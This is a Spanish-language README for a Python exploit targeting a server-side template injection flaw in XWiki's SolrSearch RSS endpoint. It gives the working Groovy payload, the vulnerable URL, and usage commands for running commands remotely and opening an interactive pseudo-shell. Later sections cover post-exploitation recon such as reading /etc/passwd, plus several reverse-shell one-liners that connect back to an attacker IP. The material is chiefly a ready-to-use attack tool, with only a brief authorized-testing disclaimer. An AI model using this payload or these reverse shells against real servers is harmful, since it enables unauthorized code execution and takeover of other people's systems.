Exploit SSTI de XWiki

Un exploit en Python para la vulnerabilidad de Inyección de Plantillas del Lado del Servidor (SSTI) en XWiki a través de la inyección de plantillas Groovy en el endpoint SolrSearch.

Vulnerabilidad

• Tipo: Inyección de Plantillas del Lado del Servidor (SSTI)
• Componente: feed RSS de XWiki SolrSearch
• Impacto: Ejecución Remota de Código
• Versión Afectada: XWiki 15.10.8 (y potencialmente otras)

Requisitos

pip3 install requests beautifulsoup4

Uso

Probar Vulnerabilidad

./xwiki_exploit.py -u http://target --test

Ejecutar Comando Único

./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"

Shell Interactivo

./xwiki_exploit.py -u http://target.com

Esto te dará un pseudo-shell interactivo donde puedes ejecutar comandos:

xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit

Modo Depuración

./xwiki_exploit.py -u http://target.com -c "id" --debug

Opciones de Línea de Comandos

• -u, --url URL: URL del objetivo (obligatorio)
• -c, --command CMD: Ejecutar comando único
• --test: Probar si el objetivo es vulnerable
• --no-verify-ssl: Deshabilitar verificación del certificado SSL
• --debug: Habilitar salida de depuración

Ejemplos

Recopilación de Información:

./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"

Buscar Archivos Interesantes:

./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"

Información de Red:

./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"

Establecer Reverse Shell:

# On attacker machine, start listener:
nc -lvnp 1337

# From exploit (try different methods):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"

Detalles Técnicos

Estructura del Payload

El exploit utiliza la siguiente estructura de payload SSTI:

}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}

Flujo de Explotación

1. El payload está codificado en URL y se envía al endpoint vulnerable:

   root@kitploit:~

   /xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
   

2. El servidor procesa la plantilla Groovy y ejecuta el comando

3. La salida se captura de la respuesta del feed RSS en el formato:

   root@kitploit:~

   search on [}}OUTPUT]
   

4. El exploit analiza la respuesta HTML para extraer la salida del comando

Notas

• Los comandos se ejecutan como el usuario xwiki (uid=997)
• El directorio de trabajo es /usr/lib/xwiki-jetty
• Algunos comandos pueden no producir salida si fallan o se ejecutan en segundo plano
• Para comandos complejos, considera usar scripts de shell o codificación base64

Descargo de Responsabilidad

Esta herramienta es solo para fines educativos y de pruebas de penetración autorizadas. Úsala únicamente en sistemas en los que tengas permiso para realizar pruebas.